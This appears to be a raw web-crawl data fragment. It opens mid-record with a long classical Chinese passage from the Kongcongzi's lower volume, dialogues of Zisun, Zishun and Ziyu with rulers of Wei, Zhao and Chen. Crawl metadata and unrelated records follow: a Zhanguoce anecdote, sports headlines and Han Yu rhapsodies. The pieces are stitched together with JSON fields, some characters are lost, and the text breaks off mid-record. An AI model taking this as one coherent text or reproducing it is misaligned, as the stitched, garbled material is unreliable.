忿意实然我谏诤必有龙逢比干之祸.是为虚自居于忠正 之地.而闇推君主使同于桀纣也.且夫为人臣见主非而 不诤.以陷主于危亡.罪之大者也人主疾臣之弼巳而恶 之.资臣以箕子比干之忠.惑之大者也.齐王曰谨闻命 .遂除车裂之法焉.\n子高见齐王、齐王问谁可临淄宰、称管穆焉、王曰穆\n容貌陋、民不敬、答曰夫见敬在德.且臣所称.称其材\n也.君王闻晏子赵文子乎.晏子长不过三尺.面貌恶.\n齐国上下莫不宗焉.赵文子其身如不胜衣.其言如不出\n口.非但体陋.辞气又呐呐然.其相晋国.晋国以宁.\n诸侯敬服.皆有德故也.以穆躯形方之二子.犹悉贤之\n.昔臣常行临淄市.见屠商焉.身修八尺.须髯如戟.\n面正红白.市之男女未有敬之者.无德故也.王曰是所\n谓祖龙始者也.祖龙始乃屠商姓名诚\n如先生之言.于是乃以管穆为临淄宰.\n魏王朝群臣、问理国之所先、季文对曰唯在知人.王 未之应.子顺进曰、知人则哲.帝尧所病.故四凶在朝 .鲧任无功.夫岂乐然哉.人难知故也.今文之对.不 称吾君之所能行.而乃欲强吾君以圣人所难.此不可行 之说也.王曰先生言之.对曰当今所急.在修仁尚义崇 德敦礼以接邻国而巳.昔舜命众官.群臣竞让德.礼之 致也.茍使朝臣皆有推贤之心.主虽不知人.则臣位必 当.若皆以知人为治.则人主宜未过尧.且其目所不见 者亦必漏矣.王曰善矣.秦王得西戎利刀以之割玉如割 木焉、以示东方诸侯、魏王问子顺曰、古亦有之乎、对 曰周穆王大征西戎.西戎献锟鋘之剑火浣之布.其剑长 尺有咫.炼钢赤剑用之切玉如泥焉.是则古亦有焉.王 曰火浣之布若何.对曰周书火浣布垢必投诸火.布则火 色.垢乃灰色.出火振之皓然.疑乎雪焉.王曰今何以 独无.对曰秦贪而多求.求欲无厌.是故西戎闭而不致 .此以素防绝之也.然则人主贪欲.乃异物所以不至. 不可不慎也.\n魏王曰吾闻道士登华山、则长生不死、意亦愿之、对 曰古无是道.非所愿也.王曰吾闻信之、对曰未审君之 所闻.亲闻之于不死者耶.闻之于传闻者耶.君闻之于 传闻者妄也.若闻之于不死者今安在.在者君学之勿疑 .不在者君勿学无疑.\n李由之母少寡、与李音窃相好而生由、由有才艺、仕 于魏、王甚爱之、或曰李由母奸不知其父、不足贵也、 王以告由、且曰吾不以此贱子也、虽然古之圣贤亦有似 子者乎、吾将举以拆毁子者、李由对曰今人不通于远、 在臣欲言谁耳、且孔子少孤、则亦不知其父者也、孔子 母死、殡于五父之衢、人见之皆以为孤葬、问鄹曼父之 母、得合葬于防、此则圣人与臣同者也、王笑曰善、子 顺闻之、问魏王曰、李由安得斯言、王曰假以自显、无 伤也、对曰虚造谤言以诬圣人.非无伤也.且夫明主之 于臣.唯德所在不以小疵妨大行也.昔斗子文生于淫而 不害其为令尹.今李由可则宠之.何患于人之言而使横 生不然之说.若欺有知.则有知不受.若欺凡人.则凡 人无知.必亦问臣.则臣亦不为君之故.诬祖以显由也 .如此群臣更知由恶此必聚矣.所谓求白洁而益其垢. 犹抱石以救溺.愈不济矣.魏王使相国脩好邻国、遂连 和于赵、赵王既宾之、而燕问子顺曰今寡人欲求北狄、 不知其所以然、答曰诱之以其所利而与之通市.则自至 矣.王曰寡人欲因而弱之.若与交市分我国货散于夷狄 .是彊之也.可乎.答曰夫与之市者.将以我无用之货 取其有用之物.是故所以弱之之术也.王曰何谓我之无 用.彼之有用.答曰衣服之物则有珠玉五彩.饮食之物 则有酒醪五熟.五味也此即我之 所有而彼之所利者也.夷狄之货.唯牛马旃裘弓矢之器 .是其所饶而轻以与人者也.以吾所有.易彼所饶.如 斯不巳.则夷狄之用将麋于衣食矣.殆可举棰而驱之. 岂徒弱之而巳乎.赵王曰敬受教.\n枚产魏人问子顺曰臣匮于财闻 猗顿善殖货欲学之、然先生同国也、当知其术、愿以告 我、答曰然.知之.猗顿鲁之穷士也.耕则常饥.桑则 常寒.闻陶朱公富.往而问术焉.朱公告之.曰子欲速 富.当畜五□.于是乃适西河.大畜牛羊于猗氏之南. 十年之间.其滋息不可计.赀拟王公.驰名天下.以兴 富于猗氏故曰猗顿且夫为富者非唯一术.今子徒问猗顿 何也.枚产曰亦将问之于先生也.答曰吾贫而子问以富 术.纵有其术.是不可用之术也.昔人有言能得长生者 .道士闻而欲学之.比往言者死矣.道士高蹈而恨.夫 所欲学.学不死也.其人巳死而犹恨之.是不知所以为 学也.今子欲求殖货而问术于我.我且自贫.安能教子 以富乎.子之此问.有似道士之学不死者也.\n东里闾魏人空腹而好自贤、欲 自亲于子顺、子顺不下、或曰夫君子之交于世士、亦取 其一节而巳、东闾子疏达亮直、大丈夫也、求为先生役 、而先生无意接之、斯者无乃非周公之交人乎.子顺曰 、此吾所以行周公之行也.夫东闾子外质顽拙.有似疏 直.然内怀容媚□魅.非大丈夫之节也.若其度骸称肤 .面目鬓眉.实美于人.圣人论士.不以为贵者.无益 于德故也.然东闾子中不应外.侮慢世士.即所谓愚人 而谓人为愚者也.持其虚状以不德于人.此乃周公之所 罪.何交之有.\n宫他魏人见子顺曰、他困贫贱 、将欲自托富贵之门、庶克免乎、子顺曰夫富而可以托 贫.贵而可以寄贱者.天下寡矣.非信义君子明识穷达 则不可今子所欲托者谁也.宫他曰将适赵公子、子顺曰 非其人矣.虽好养士.自奉而巳.终弗能称也.宫他曰 将适燕相国、子顺曰彼徒兄弟甥舅各济其私.无求贤之 志.不足归也.宫他曰将适齐田氏、子顺曰齐大国也. 其士大夫皆有自多之心.不能容子也.他曰然则何向而 可.子顺曰吾勿识也.宫他曰唯先生知人.愿告所择. 将往庇焉.子顺曰济子之欲.则宜若郈成子者也.昔郈 成子自鲁聘晋过乎卫.右宰谷臣止而觞之.陈乐而不作 .送以实璧.反过而不辞.其仆曰、日者右宰之觞吾子 甚欢也.今过而不辞.何也.成子曰夫止而觞我.与我 欢也.陈乐而不作.告我哀也.送我以璧.寄之我也. 若由此观之.卫其有乱乎.背卫三十里.闻宁喜作难. 右宰死之.还车而临.三举而归.反命于君.乃使人迎 其妻子.隔宅而居之.分禄而食之.其子长而反其璧. 夫子闻之.曰智可与征谋仁可与托孤廉可以寄财者.其 郈成子之谓乎.今子求若人之比庇焉.可也.宫他曰循 先生之言.舍先生将安之.请从执事.子顺辞不得巳. 乃言之魏王而升诸朝.\n子顺相魏、●嬖宠之官以事贤才.夺无任之禄以赐有 功.诸丧职秩者不悦.乃造谤言.文咨魏 人以告.且曰夫不害前政而有成.孰与变之而起谤 哉.子顺曰民不可与虑始久矣.古之善为政者.其初不 能无谤子产相郑.三年而后谤止.吾先君之相鲁.三月 而后谤止.今吾为政日新.虽不能及圣贤.庸知谤止独 无时乎.文咨曰、子产之谤尝亦闻之.未识先君之谤何 也.子顺曰先君初相鲁.鲁人谤诵曰麛裘而芾.投之无 戾.芾之麛裘投之无邮.及三年政成化既行.民又作诵 曰衮衣章甫.实获我所章甫衮衣.惠我无私.文咨喜曰 乃知先生亦不异乎圣贤矣.\n魏王谓子顺曰吾欲致天下之士.奈何.子顺对曰、昔\n周穆王问祭公谋父、曰吾欲得天下贤才、对曰去其帝王\n之色.则几乎得贤才矣.今臣亦请君去其尊贵之色而巳\n.王曰吾欲得无欲之士为臣.何如.子顺曰人之可使以\n有欲也.故欲多者其所得用亦多.欲少者其所得用亦少\n.夫夷齐无欲.虽文武不能制.君安得而臣之.\n赵闲魏将以求亲于秦、子顺谓赵王曰、赵 悼襄王此君之下吏计过也.比目之鱼所以不见得于 人者以偶视而俱走也.今秦有兼吞天下之志.日夜伺间 .不忘于侧息也.赵魏与之邻接而强弱不敌.秦所以不 敢图并赵魏者.徒以二国并目周旋者也.今无故自离以 资强秦.天下拙谋.无过此者故臣曰君之下吏计过也. 夫连鸡不能上捷.亦犹二国构难不能自免于秦也.愿王 熟虑之.赵王曰敬受教.\n韩与魏有隙、子顺谓韩王曰、昭厘侯、一世之明君也 .韩宣惠王乃昭厘侯之子申不害 、一世之贤相也.韩与魏敌侔之国.而厘侯执圭见梁君 者.非好卑而恶尊.虑过而计失也与严敌为邻.而动有 灭亡之变.独劲不能支二难.故降心以相从.屈巳以求 存也.申不害虑事而言.忠臣也.昭厘侯听而行之.明 君也今韩弱于始之韩.魏弱于始之魏.秦强于始之秦. 而背先人之旧好.以区区之众.居二敌之间.非良策也 齐楚远而难恃.秦魏呼吸而至.舍近而求远.是以虚名 自累而不免近敌之困者也.为王计者莫如除小忿全大好 也.吴越之人.同舟济江.中流遇风波.其相救如左右 手者.所患同也.今不恤所同之患.是不如吴越之舟人 也.韩王曰善.\n秦兵攻赵、魏大夫以为于魏使、子顺曰何谓、曰胜赵 则吾因而服焉、不胜赵则可乘弊而击之、子顺曰不然. 秦自孝公以来.战未尝屈今皆良将.何弊之乘.大夫曰 纵其胜赵、于我何损、邻之不修、国之福也、子顺曰秦 .贪暴之国也.胜赵必复他求.吾恐于时受其师也.先 人有言.燕雀处屋.子母相哺煦煦然其相乐也.自以为 安矣.灶突炎上.栋宇将焚.燕雀颜不变.不知祸之及 巳也.今子不悟赵破患将及巳.可以人而同于燕雀乎.\n齐攻赵、围廪丘、赵使孔青帅五万击之、克齐军、获 尸三万、赵王诏勿归其尸、将以困之、子顺聘赵、问王 曰不归尸.其困何也.曰其父兄子弟悲苦无已.废其产 也.子顺曰非所以困之也.死一也.归尸与不悲苦胡异 焉.以臣愚计.贫齐之术.乃宜归尸.王曰何谓对曰使 其家远来迎尸.不得事农.一费也.归所葬.使其送死 终事.二费也.二年之中.丧卒三万.三费也.欲无困 贫.不能得巳王曰善.既而齐大夫闻其子顺之谋.曰君 子之谋其利溥哉.子顺相魏凡九月、陈大计辄不用、乃 喟然叹曰、不见用、是吾言之不当也.言不当于主.而 居人之官食人之禄.是尸利也.尸利素餐.吾罪深矣. 退而以病致事.魏王遣使入其馆谢.曰寡人昧于政事. 不显明是非.以启罪于先生.今知改矣.愿先生为百姓 故.幸起而教之.辞曰臣有犬马之疾.不任国事.茍得 从四民之列.子弟供魏国之征.乃君惠也.敢辱君命. 以速刑书.人谓子顺曰、王不用子.子其行乎.答曰吾 将行如之山东.则山东之国将并于秦.秦为不义.义所 不入.遂寝于家.\n秦急攻魏王恐、或谓子顺曰如之何、答曰吾私有计.\n然岂能贤于执政.故无言焉.魏王闻之.驾如孔氏亲问\n焉.曰国亡矣.如之何.对曰夫弃之不如用之之易也.\n死之不如弃之之易也.人能弃之弗能用也.能死之不能\n弃也.今王亡地数百里亡城数十而患不解.是王弃之非\n用之也.秦之强.天下无敌.魏之弱甚矣.而王是以质\n秦.景闵王为太子时尝质于秦此\n王能使不能弃之也.是重过也.若能用臣之计.则亏地\n不足伤国.卑体不足苦身.患除怨报矣.今秦四境之内\n.执政以下.固口与嫪氏乎.与吕氏乎.门闾之下.廊\n庙之上.犹皆如是.今王诚能割地赂秦以为嫪毒功.卑\n身尊秦以固嫪毒.王是以国赞嫪毒也.则嫪毒胜矣.于\n是太后之德王也.深如骨肉.王之交最为天下之主矣.\n孰不弃吕氏而从嫪毒.天下皆然.则王怨必报矣.按\n此策甚疏必非子顺语\n魏安厘王问子顺曰、马回之为人、虽少才文、梗梗亮 直、一作缏有大丈夫之节、吾欲 以为相、可乎、答曰知臣莫若君.何有不可.至于亮直 之节.臣未明也.王曰何故、答曰闻诸孙卿云、其为人 也.长目而豕视者必体方而心圆.每以其法相人.千百 不失.臣见回非不伟其体干也.然甚疑其目.王卒用之 .三月果以谄得罪.\n新垣固谓子顺曰、贤者所在、必兴化致治、今子相魏 未闻异政而即自退、其有志不得白、何去之速也、答曰 以无异政.所以自退也.且死病无良毉.今秦有吞食天 下之心.以义事之.固不获安.救亡不暇何化之兴.昔 伊挚在夏吕望在商而二国不理.岂伊吕之不欲哉.势不 可也.当如今日山东之国弊而不振.三晋割地以求安. 二周折节而入秦.燕齐宋楚巳屈服矣.以此观之.不出 二十年天下尽为秦乎.\n季节见于子顺、子顺赐之酒、辞、问其故、对曰今日 家之忌日也、故不敢饮、子顺曰饮也.礼 忌日不乐而已未有无饮者礼虽服衰麻见于君及先生 与之梁肉无辞.所以敬尊长而不敢遂其私也.忌日方于 有服则轻矣.\n魏安厘王问天下之高士、子顺曰世无其人也抑可以为 次.其鲁仲连乎.王曰鲁仲连强作之者.非体自然也. 答曰人皆作之.作之不止.乃成君子.文武欲作尧舜而 至焉.背我先君夫子欲作文武而至焉.作之不变习与体 成.习与体成则自然矣.\n虞卿著书名曰春秋、魏齐曰子无然也、春秋、孔圣所 以名经也、今子之书大抵谈说而巳、亦以为名何、答曰 经者、取其事常也、可常则为经矣、且不为孔子其无经 乎、齐问子顺、子顺曰无伤也.鲁之史记曰春秋.经因 以为名焉.又晏子之书亦曰春秋.吾闻泰山之上封禅者 七十有二君.其见称述.数不盈十.所谓贵贱不嫌同名 也.\n邯郸之民、以正月之旦献雀于赵王、而缀之以五丝、 赵王大悦、申叔以告子顺、曰王何以为也、对曰正旦放 之.示有生也.子顺曰此委巷之鄙事尔.非先王之法也 .且又不令.申叔曰敢问何谓不令.答曰夫雀者取其名 焉.则宜受之于上.不宜取之于下.下人非所得制爵也 而王悦此.殆非吉祥矣.昔虢公祈神.神赐之土田.是 失国而更受田之祥也.今以一国之王.受民之雀.将何 悦哉.\n申叔问曰犬马之名.皆因其形色而名焉、唯韩卢宋鹊 独否、何也、子顺答曰、卢黑色.鹊白色.非色而何. 魏公子无忌死、韩君将亲吊焉、其子荣之以告子顺、子 顺曰必辞之.礼邻国君吊君主之今君不命子.则子无所 受其君也.其子辞韩、韩君乃止、子高以为赵平原君霸 世之士.惜其不遇时也.其子子顺以为衰世之好事公子 .无伯相之才也.申叔问子顺曰、子之家公有道先生既 论之矣、今子易之、是非焉在.答曰言贵尽心.亦各其 所见也.若是非.则明智者裁之.申叔问子顺曰、礼、 为人臣三谏不从、可以称其君之非乎、答曰礼所不得也 .曰叔也昔者逮事有道先生、问此义焉、而告叔曰得称 其非者.所以使天下人君不敢遂其非也.子顺曰然.吾 亦闻之.是亡考起时之言.非礼意也.礼、受放之臣不 说人以无罪.先君夫子曰事君欲谏不欲陈.言不欲显君 之非也.申叔曰然则晏子、叔向皆非礼也、答曰此二大 夫相与私燕言及国事.未以为非礼也.晏子既陈屦贱而 踊贵于其君其君为之省刑.然以及叔向.叔向听晏子之 私.又承其问所宜亦答以其事也.\n魏王问子顺曰、寡人闻昔者上天神异后稷而为之下嘉 谷、周以遂兴、往中山之地、无故有谷、非人所为、云 天雨之、反亡国何故也.答曰天虽至神.自古及今.未 闻下谷与人也.诗美后稷能大教民种嘉谷以利天下.故 诗曰诞降嘉种、犹书所谓稷降播种、农殖嘉谷、皆说种 之、其义一也.若中山之榖.妖□之事.非所谓天祥也 .\n赵王问相于平原君、平原君曰邹文可、赵 人王曰其行如何、对曰夫孔子高天下之高士也、取 友以行、交游以道、文与之游、称曰好义王其用之、王 卒不用、后以平原君言问子顺、且曰先生知之乎、答曰 先父之所交也.何敢不知.王曰寡人虽失之在前.犹愿 闻其行于先生也.答曰行不茍合.虽贱不渝.君子人也 .王遂礼之.固以老辞.\n赵王问子顺曰.寡人闻孔氏之世自正考父以来、儒林\n相继、仲尼重之以大圣、自兹以降、世业不替、天下诸\n侯咸资礼焉、先生承其绪、作二国师、从古及今、载德\n流声、未有若先生之嗣、率由前调、将与天地相敝矣、\n答曰若先祖父并禀圣人之性如君王之言也.至如臣者学\n行不敏.寄食于赵.禄仕于魏.幸遇二国之君宽以容之\n.若乃师也.未敢承命.假令赖君之愿后世克祚.不忝\n前人.不泯祖业.岂徒一家之赐哉.亦天下之庆也.王\n曰必然必然.\n秦始皇东并、子鱼谓其徒叔孙通曰、子之学可矣、盍 仕乎、对曰臣所学于先生者、不用于今、不可仕也、子 鱼曰子之材能见时变、今为不用之学、殆非子情也、叔 孙通遂辞去、以法仕秦.\n尹曾谓子鱼曰、子之读先王之书.将奚以为.答曰为 治也.世治则助之行道.世乱则独治其身.治之至也.\n陈余谓子鱼曰、秦将灭先王之籍、而子为书籍之主、 其危矣、子鱼曰顾有可惧者.必或求天下之书焚之.书 不出则有祸.吾将先藏之以待其求.求至无患矣.\n子鱼居卫、与张耳陈余相善.耳余、魏之名士也、秦\n灭魏求耳余惧、走会陈胜吴广起兵于陈、欲以诛秦、余\n谓陈王曰、今必欲定天下取王侯者.其道莫若师贤而友\n智.孔子之孙今在魏.居乱世能正其行脩其祖业.不为\n时变.其父相魏.以圣道辅战国.见利不易.操名诸侯\n.世有家法.其人通材足以干天下.博知足以虑未形.\n必宗此人.天下无敌矣.陈王大悦、遗使者齎千金加束\n帛以车三乘聘焉尔.又使谓子鱼曰、天下之事巳可见矣\n.今陈王兴义兵讨不义.子宜速来以集其事.王又闻子\n贤.欲谘良谋.虚意相望也.子鱼遂往.陈王郊迎而执\n其手.议世务.子鱼以霸王之业劝之.王悦其言.遂尊\n以博士.为太师谘度焉.子鱼、名鲋甲、陈人或谓之子\n鲋或称孔甲.陈胜既立为王、其妻之父兄往焉、胜以众\n兵待之、长揖不拜无加其礼、其妻之父怒、曰估乱僭号\n而傲长者.不能久矣.不辞而去.陈王跪谢.遂不为顾\n.王心惭焉.遂适博士太师之馆而言曰予虽丈夫哉.然\n塞于礼义以启于姻娅.唯先生幸训诲之.使免于戾可乎\n.子鱼曰王所问者善也.敢固无辞以对乎.今以礼言耶\n.则礼无不拜.且宗族婚媾.又与众宾异敬者也.敬而\n加亲.自古以然也.王曰虽巳失之于前.庶欲收之于后\n也.愿先生脩明其事.必遵奉焉.对曰昔唐尧、内亲九\n族.外协万邦.礼以婚为昆弟.妻之父母为外舅姑.由\n是明之.则拜之可知.夫婚亲之义.非宗贤之类也.虽\n自巳臣莫敢不敬.昔魏信陵君、尝以此质臣之父.臣之\n父曰.于诸母之昆弟.妻之诸父.则以亲配德.年以上\n.虽拜之可也.幼于巳者.揖之可也.此出于人情而可\n常者也.王曰善哉.请问同姓而服不及者.其制何耶.\n对曰先王制礼.虽国君有合族之道.宗人掌其列.继之\n以姓而无别.醊之以食而无殊.各随本属之隆杀.属近\n则死为之免.属远则吊之而巳.礼之正也.是故臣之家\n.哭孔氏之别姓于弗父之庙.哭孔氏则于夫子之庙.此\n有据而然也.周之道.虽百世婚姻不通.重先君之同体\n也.王跪曰先生之言.厥义博哉.寡人虽固.敢不尽心\n.\n陈王涉读国语言申生事、顾博士曰、始予信圣贤之道 、乃今知其不诚也、先生以为何如、荅曰王何谓哉.王 曰晋献惑听谗.而书又载骊姬夜泣公.而以信入其言. 人之夫妇夜处幽室之中.莫能知其私焉.虽黔首犹然. 况国君乎.予以是知其不信.乃好事者为之辞.将欲成 其说以诬愚俗也.故使予并疑于圣人也.博士曰不然也 .古者人君外朝则有国史.内朝则有女史.举则左史书 之.言则右史书之.以无讳示后世.善以为式.恶以为 戒.废而不记.史失其官.故凡若晋侯骊姬床第之私房 中之事不得舍焉.若夫设教之言.驱群俗使人入道而不 知其所以者也.今此皆书实事.累累若贯珠.可无疑矣 .王曰先生真圣人之后风也.今幸得闻命.寡人无过焉 .\n陈王涉使周章为将西入关以诛秦、秦使将章邯拒之、 陈王以秦国之乱也、有轻之之意、势若有余而不设敌备 、博士太师谏、曰章邯、秦之名将周章非其敌也.今王 使章霈然自得而不设备.臣窃惑焉.夫虽天之所舍.其 祸福吉凶大者在天小者由人.今王不修人利以应天祥. 若跌而不振.悔之无及也.王曰寡人之军.先生无累也 .请先生息虑也.又谏曰臣闻兵法、无恃敌之不我攻. 恃吾之不我攻也.今恃敌而不自恃.非良计也.王曰先 生所言计策深妙.予不识也.先生休矣.巳而告人曰儒 者可与守成.难与进取.信哉.博士他日复谏.曰臣闻 国大兵众.无备难恃.一人善射百夫决拾.章邯枭将. 卒皆死士也.周章若懦.使彼席卷来前.莫有当其锋者 .王曰先生所称寡人昧昧焉.愿以人间近事喻之.答曰 流俗之事.臣所不忍也.今王命之.敢不尽情.愿王察 之也.臣昔在梁.梁人有阳由者.其力扛鼎.伎巧过人 .骨腾肉飞.手搏●兽.国人惧之.然无治室之训.礼 教不立.妻不畏惮.浸相泄渎.方乃积怒.妻坐于床答 焉左手建杖.右手制其头.妻亦奋恚.因授以背.使杖 击之.而自撮其阴.由乃仆地气绝而不能兴.邻人闻其 凶凶也.窥而见之.趋而救之.妻愈戆忿.莫肯舍旃. 或发其裳.然后乃放.夫以无敌之伎力而劣于女子之手 者.何也.轻之无备故也.今王与秦角强弱.非若由之 夫妻也.而轻秦过甚.臣是以惧.故区区之心.欲王备 患之也.王曰譬类诚佳、然实不同也、弗听、周章果败 而无后救、邯遂进兵击陈王、师大败、博士凡仕六旬、 老于陈、将没、戒其弟子曰、鲁天下有仁义之国也.战 国之世讲颂不衰.且先君之庙在焉.吾谓叔孙通处浊世 而清其身学儒术而知权变.是今师也.宗于有道.必有 令图.归必事焉.\n孔丛卷下终","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/guoxue.sunxuming.com\/zi\/qita\/%E5%AD%94%E4%B8%9B%E5%AD%90\/CONTZ.HTM","date":"2018-10-17T22:22:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511314.51\/warc\/CC-MAIN-20181017220358-20181018001858-00493.warc.gz","language":"lzh","language_score":0.627727747,"language_script":"Hani","minhash_cluster_size":29,"top_langs":"{\"lzh_Hani_score\": 0.627727746963501, \"cmn_Hani_score\": 0.1941545456647873, \"nan_Hani_score\": 0.09705019742250443, \"wuu_Hani_score\": 0.02625722996890545, \"jpn_Jpan_score\": 0.017968064174056053, \"yue_Hani_score\": 0.01057614479213953}","num_words":1050,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.569,"perplexity_score":500.0,"cluster_detection":1} +{"text":"張儀之殘樗里疾\n張儀之殘樗里疾也,重而使之楚。因令楚王為之請相于秦。張子謂秦王曰:「重樗里疾而使之者,將以為國交也。今身在楚,楚王因為請相于秦。臣聞其言曰:『王欲窮儀于秦乎?臣請助王。』楚王以為然,故為請相也。今王誠聽之,彼必以國事楚王。」秦王大怒,樗里疾出走。","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/053.htm","date":"2018-12-13T12:21:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824675.15\/warc\/CC-MAIN-20181213101934-20181213123434-00184.warc.gz","language":"lzh","language_score":0.7226003408,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.7226003408432007, \"cmn_Hani_score\": 0.2536557614803314, \"jpn_Jpan_score\": 0.011861048638820648}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.79,"perplexity_score":500.0,"cluster_detection":1} +{"text":"男单-王励勤半决赛负王皓 巡回赛无冠 王励勤赞王皓无懈可击\n声音-马琳08要摘金 蔡猛:三原因致败 刘国梁:08选拔被误读\n聚焦-张怡宁2-4李晓霞 新战术击溃一姐 李晓霞如\"女王励勤\"\n声音-李晓霞:平分没有乱 冠军车献父母 郭跃:慢热致失利","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/sports.sohu.com\/s2007\/8918\/s254121079\/","date":"2019-02-16T16:42:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247480622.9\/warc\/CC-MAIN-20190216145907-20190216171907-00212.warc.gz","language":"lzh","language_score":0.4340864122,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.434086412191391, \"cmn_Hani_score\": 0.42754748463630676, \"yue_Hani_score\": 0.05022920295596123, \"jpn_Jpan_score\": 0.04270602762699127, \"wuu_Hani_score\": 0.013347027823328972, \"nan_Hani_score\": 0.012828118167817593}","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.57,"perplexity_score":500.0,"cluster_detection":1} +{"text":"●卷一·賦、古詩一\n感二鳥賦\n貞元十一年,五月戊辰,愈東歸。癸酉,自潼關出息于河之陰。時始去京師,有不遇時之嘆。見行有籠白烏、白鴝鵒而西者,號于道曰:「某土之守某官,使使者進于天子。」東西行者皆避路,莫敢正目焉。因竊自悲,幸生天下無事時,承先人之遺業,不識干戈、耒耜、攻守、耕穫之勤,讀書著文,自七歲至今,凡二十二年。其行己不敢有愧於道,其閒居思念前古當今之故,亦僅志其一二大者焉。選舉于有司,與百十人偕進退,曾不得名薦書,齒下士于朝,以仰望天子之光明。\n今是鳥也,惟以羽毛之異,非有道德智謀,承顧問,贊教化者,乃反得蒙采擢薦進,光耀如此。故為賦以自悼,且明夫遭時者,雖小善必達;不遭時者,累善無所容焉。其辭曰:\n吾何歸乎!吾將既行而後思,誠不足以自存,苟有食其從之。出國門而東騖,觸白日之隆景;時返顧以流涕,念西路之羌永。過潼關而坐息,窺黃流之奔猛;感二鳥之無知,方蒙恩而入幸;惟進退之殊異,增余懷之耿耿;彼中心之何嘉,徒外飾焉是逞。餘生命之湮厄,曾二鳥之不如;汨東西與南北,恆十年而不居;辱飽食其有數,況策名于薦書;時所好之為賢,庸有謂余之非愚。\n昔殷之高宗,得良弼于宵寐;孰左右者為之先,信天同而神比。及時運之未來,或兩求而莫致;雖家到而戶說,只以招尤而速累。蓋上天之生余,亦有期于下地;盍求配于古人,獨怊悵於無位。惟得之而不能,乃鬼神之所戲;幸年歲之未暮,庶無羡于斯類。\n復志賦\n愈既從隴西公平汴州,其明年七月有負薪之疾,退休于居,作《復志賦》,其辭曰:\n居悒悒之無解兮,獨長思而永嘆;豈朝食之不飽兮,寧冬裘之不完。昔余之既有知兮,誠坎軻而艱難;當歲行之未復兮,從伯氏以南遷。凌大江之驚波兮,過洞庭之漫漫;至曲江而乃息兮,逾南紀之連山。嗟日月其幾何兮,攜孤嫠而北旋;值中原之有事兮,將就食于江之南。\n始專專于講習兮,非古訓為無所用其心;窺前靈之逸跡兮,超孤舉而幽尋。既識路又疾驅兮,孰知餘力之不任。考古人之所佩兮,閲時俗之所服。忽忘身之不肖兮,謂青紫其可拾。\n自知者為明兮,故吾之所以為惑。擇吉日餘西征兮,亦既造夫京師。君之門不可逕而入兮,遂從試于有司。惟名利之都府兮,羌眾人之所馳。\n競乘時而附勢兮,紛變化其難推。全純愚以靖處兮,將與彼而異宜。欲奔走以及事兮,顧初心而自非。朝騁騖乎書林兮,夕翱翔乎藝苑。\n諒卻步以圖前兮,不浸近而愈遠。哀白日之不與吾謀兮,至今十年其猶初。豈不登名于一科兮,曾不補其遺余。進既不獲其志願兮,退將遁而窮居。\n排國門而東出兮,慨余行之舒舒。時憑高以回顧兮,涕泣下之交如。戾洛師而悵望兮,聊浮游以躊躇,假大龜以視兆兮。求幽貞之所廬。\n甘潛伏以老死兮,不顯著其名譽。非夫子之洵美兮,吾何為乎浚之都?小人之懷惠兮,猶知獻其至愚。固余異於牛馬兮,寧止乎飲水而求芻。伏門下而默默兮,竟歲年以康娛。\n時乘間以獲進兮,顏垂歡而愉愉。仰盛德以安窮兮,又何忠之能輸?昔余之約吾心兮,誰無施而有獲;嫉貪佞之ㄜ濁兮,曰吾其既勞而後食。懲此志之不修兮,愛此言之不可忘。情怊悵以自失兮,心無歸之茫茫。\n苟不內得其如斯兮,孰與不食而高翔。抱關之厄陋兮,有肆志之揚揚。伊尹之樂於畎畝兮,焉貴富之能當?恐誓言之不固兮,斯自訟以成章。往者不可復兮,冀來今之可望。\n閔己賦\n余悲不及古之人兮,伊時勢而則然。獨閔閔其曷已兮,憑文章以自宣。昔顏氏之庶幾兮,在隱約而平寬。固哲人之細事兮,夫子乃嗟嘆其賢。\n惡飲食乎陋巷兮,亦足以頤神而保年。有至聖而為之依歸兮,又何不自得于艱難。曰余昏昏其無類兮,望夫人其已遠。行舟楫不識四方兮,涉大水之漫漫。\n勤祖先之所貽兮,勉汲汲於前修之言。雖舉足以蹈道兮,哀與我者為誰。眾皆舍而己用兮,忽自惑其是非。下土茫茫其廣大兮,余壹不知其可懷。\n就水草以休息兮,恆未安而既危。久拳拳其何故兮,亦天命之本宜。惟否泰之相極兮,咸一得而一違。君子有失其所兮,小人有得其時。\n聊固守以靜俟兮,誠不及古之人兮其焉悲!\n別知賦\n余取友于天下,將歲行之兩周。下何深之不即,上何高之不求?紛擾擾其既多,咸喜能而好修。寧安顯而獨裕,顧厄窮而共愁。惟知心之難得,斯百一而為收。\n歲癸未而遷逐,侶蟲蛇于海陬。遇夫人之來使,闢公館而羅羞。索微言于亂志,發孤笑于群憂。物何深而不鏡,理何隱而不抽?始參差以異序,卒爛漫而同流。\n何此歡之不可恃,遂駕馬而回。山敖々其相軋,樹蓊蓊其相扌。雲浩浩其常浮。知來者之不可以數,哀去此而無由。\n倚郭郛而掩涕,空盡日以遲留。\n◎古詩一\n元和聖德詩\n臣愈頓首再拜言:臣伏見皇帝陛下即位以來,誅流奸臣,朝廷清明,無有欺蔽。外斬楊惠琳、劉闢,以收夏、蜀;東定青、徐積年之叛。海內怖駭,不敢違越。郊天告廟,神靈歡喜。\n風雨晦明,無不從順。太平之期,適當今日。臣蒙被恩澤,日與群臣序立紫宸殿陛下,親望穆穆之光。而其職業,又在以經籍教導國子,誠宜率先作歌詩以稱道盛德,不可以辭語淺薄,不足以自效為解。","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/writesprite.com\/71525","date":"2019-04-23T13:5